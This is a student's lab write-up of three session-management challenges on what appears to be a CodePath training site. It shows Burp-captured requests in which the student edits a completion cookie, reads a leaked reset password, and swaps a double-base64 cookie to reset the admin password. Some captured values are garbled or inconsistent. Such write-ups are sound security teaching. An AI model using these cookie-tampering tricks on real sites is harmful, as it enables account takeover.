

CODEPATH*ORG

REPORT

SESSION MANAGEMENT

Mahmood Sakib

Broken Session Management:

Task: Complete a lesson without completing it.

Running the website request with Burp I can see that, `Cookie: lessonComplete=lessonNotComplete`; To trick the server into thinking that I have already completed this lesson to retrieve the result key, I changed the value to `Cookie: lessonComplete=lessonComplete`. Which made it think that I have already completed the lesson and gave me the secret key!

Request

PrettyRawHex

1

POST /lessons/b8c19efd1a7cc64301f239f9b9a7a32410a0808138bbefc98986030f9ea83806 HTTP/1.1

2

Host: security.codepath.com

3

Cookie: lessonComplete=lessonNotComplete; JSESSIONID=60AEC78309650C1409BE24A9CD4CD95E; token=-29581436464583629516245526312192773204; JSESSIONID3="CJrYY/aQL+Vamp8oHLPZyw=="

4

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0

5

Accept: */*

6

Accept-Language: en-US,en;q=0.5

7

Accept-Encoding: gzip, deflate

8

X-Requested-With: XMLHttpRequest

9

Origin: https://security.codepath.com

10

Referer: https://security.codepath.com/lessons/b8c19efd1a7cc64301f239f9b9a7a32410a0808138bbefc98986030f9ea83806.jsp

11

Sec-Fetch-Dest: empty

12

Sec-Fetch-Mode: cors

Response

PrettyRawHexRender

1

HTTP/1.1 200 OK

2

Server: Apache-Coyote/1.1

3

Content-Length: 777

4

Date: Tue, 20 Sep 2022 00:56:04 GMT

5

Connection: close

6

7

<h2 class='title'>Lesson Complete</h2><p>Congratulations, you have bypassed this lessons <a>VERY WEAK</p>session management. The result key for this lesson is <a><script>prepToolTips();prepClipboardEvents();</script><div class='input-group'><textarea id='theKey' rows=2 style='height: 30px; display: inline-block; float: left; padding-right: 1em; overflow: hidden; width: 85%'>1mABIm0EtVVQcm3GkSfdwglHrKjk603nNJ43m3NN/uvdCBppmY9sm20tsQtEPBzQaBTjGvHIUC5e43RNDgn5s000b01ldT72NggcDL3qog=</div></div>

Session Management 2:

Task: Gain admin privileges

Only an **admin** of the following sub-application can retrieve the result key to this challenge.

Incorrect password for **zoidberg22@shepherd.com**

Username:

Password:

[Have you forgotten your password?](#)

Reset Password

Please enter your **email address**. You will be sent an email with a new temporary password

Password reset request sent.

Using Burp Suite, after requesting password reset, I can see that the Response tab shows

“**Changed To: -74823360948462478426459650910149314628**” Which I assumed that the website assigned a new password and Burp was able to capture it. After using the given value in login section, I was able to successfully log in as an admin.

The screenshot displays the Burp Suite interface on the left and a web application on the right. In Burp Suite, the HTTP history shows a POST request to `/challenges/f5ddc0ed2d30e597...` with a 200 status. The response tab shows the following content:

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Length: 51
Date: Tue, 20 Sep 2022 01:42:11 GMT
Connection: close
7 Changed To:
-74823360948462478426459650910149314628
```

The Inspector tab shows the response body with the selected text: `-74823360948462478426459650910149314628`. The Request Cookies section lists:

Name	Value
checksum	dXNidHbGU9dXNlcg==
JSESSIONID	60AEC78309650C1409...
token	-295814364645836295...
JSESSIONID3	~CjYV/aQL VampBoHL...

The web application on the right shows the "Session Management Challenge Two" page. It includes a "Submit Result Key Here..." field with a "Submit" button. Below this, it says "Welcome admin" and "The result key is" followed by a text area containing the result key: `VRBpU2ciuWR9A8+oXLTaSM2Nc2Y+ingH2NIYj0ZFbCMsQN5uHiYo7n h9GGEvMns0ndDsviErFt80eKVwzYti7GOfa9rAJPF+Fyb/S+2gZjE=`. A link "Have you forgotten your password?" is also visible.

Session Management 3:

Task: Gain admin privileges

Intercept HTTP history WebSockets history Options

Filter: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edited	Status	Length	MIME type	Extension
22	https://security.codepath....	POST	/challenges/t193c6634f049bdf65...		✓	200	429	HTML	
23	https://security.codepath....	POST	/challenges/b467d3e3cd51babc...		✓	200	161	HTML	

Request

Pretty Raw Hex

```
1 POST
2 /challenges/b467d3e3cd51babc0ec599fd0c67e359e6fe04e8cdc618d
3 537808cbb693fee8a HTTP/1.1
4 Host: security.codepath.com
5 Cookie: checksum=dQWl1c1JvbGU5dQWl1cg==; current=
6 WjNWbGMzUXhNZz09; JSESSIONID=
7 60AEC78309650C1409BE24A9CD4CD95E; token=
8 -2958143646458362951624552631215C773204; JSESSIONID3=
9 "CJrTY/aQL+Vamp8oHLp2y==
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
11 rv:104.0) Gecko/20100101 Firefox/104.0
12 Accept: */*
13 Accept-Language: en-US,en;q=0.5
14 Accept-Encoding: gzip, deflate
15 Content-Type: application/x-www-form-urlencoded
16 X-Requested-With: XMLHttpRequest
17 Content-Length: 15
18 Origin: https://security.codepath.com
19 Referer:
20 https://security.codepath.com/challenges/t193c6634f049bdf65
21 cdcac72269eeac25dbb2a6887b3b8873e57d0ef447bc3.jsp
22 Sec-Fetch-Dest: empty
23 Sec-Fetch-Mode: cors
24 Sec-Fetch-Site: same-origin
25 Te: trailers
26 Connection: close
27
28 newPassword=1234567
```

Inspector

< Back

Cookie

Name	Value
current	WjNWbGMzUXhNZz09

Decoded from: Base64

23V1c3QnMg==

Decoded from: Base64

guest12

Submit Result Key Here...

Submit

Session Management Challenge Three

Only an **admin** of the following sub-application can retrieve the result key to this challenge. You have been granted user privileges because the admins need somebody to boss around.

Incorrect password for **admin**

Username:

Password:

Change Password

Please enter your new password for this sub application!

New Password:

Confirm Password:

Password change request success.

After requesting a password change for admin, I can see that the website assigned a new value to it's cookies. Which is `current=WjNWbGMzUXhNZz09` (this value is decoded twice with base64) = 'user12'. At this point we can see that the website is resetting password for user12 not for admin. Therefore, I changed the current cookie value to 'admin' (after decoding it twice with base64) and were able to reset admin's password to '1234567' and gain access to the website.

Send Cancel < > Target: https://security.codepath.com HTTP/1

Request

Pretty Raw Hex

```
1 POST
2 /challenges/b467d3e3cd51babc0ec599fd0c67e359e6fe04e8cdc618d537808c
3 bb693fee8a HTTP/1.1
4 Host: security.codepath.com
5 Cookie: checksum=dQWl1c1JvbGU5dQWl1cg==; current=WYd5dGF3MD0=;
6 JSESSIONID=60AEC78309650C1409BE24A9CD4CD95E; token=
7 -2958143646458362951624552631215C773204; JSESSIONID3=
8 "CJrTY/aQL+Vamp8oHLp2y==
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0)
10 Gecko/20100101 Firefox/104.0
11 Accept: */*
12 Accept-Language: en-US,en;q=0.5
13 Accept-Encoding: gzip, deflate
14 Content-Type: application/x-www-form-urlencoded
15 X-Requested-With: XMLHttpRequest
16 Content-Length: 15
```

Inspector

Selection 31

Selected text

Password change request success

Request Attributes

2

Request Query Parameters

0

Request Body Parameters

1

Request Cookies

5

Request Headers

16

Response Headers

4

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Content-Length: 39
4 Date: Tue, 20 Sep 2022 01:55:27 GMT
5 Connection: close
6
7 <p>
8 Password change request success.
9 </p>
```

Submit Result Key Here...

Submit

Session Management Challenge Three

Only an **admin** of the following sub-application can retrieve the result key to this challenge. You have been granted user privileges because the admins need somebody to boss around.

Welcome admin

The result key is

AyuYPwk79/Kzk0RR26aB7Ga0fnHNA68Q89AoC1R6u9v48r0zaynGH1js9

C11h/i0rByJvFu6mw7NDNUf1EvBXfOFVlWYcVeO3fj/WBr+Q=

Change Password

Please enter your new password for this sub application!

New Password:

Confirm Password:

Password change request success.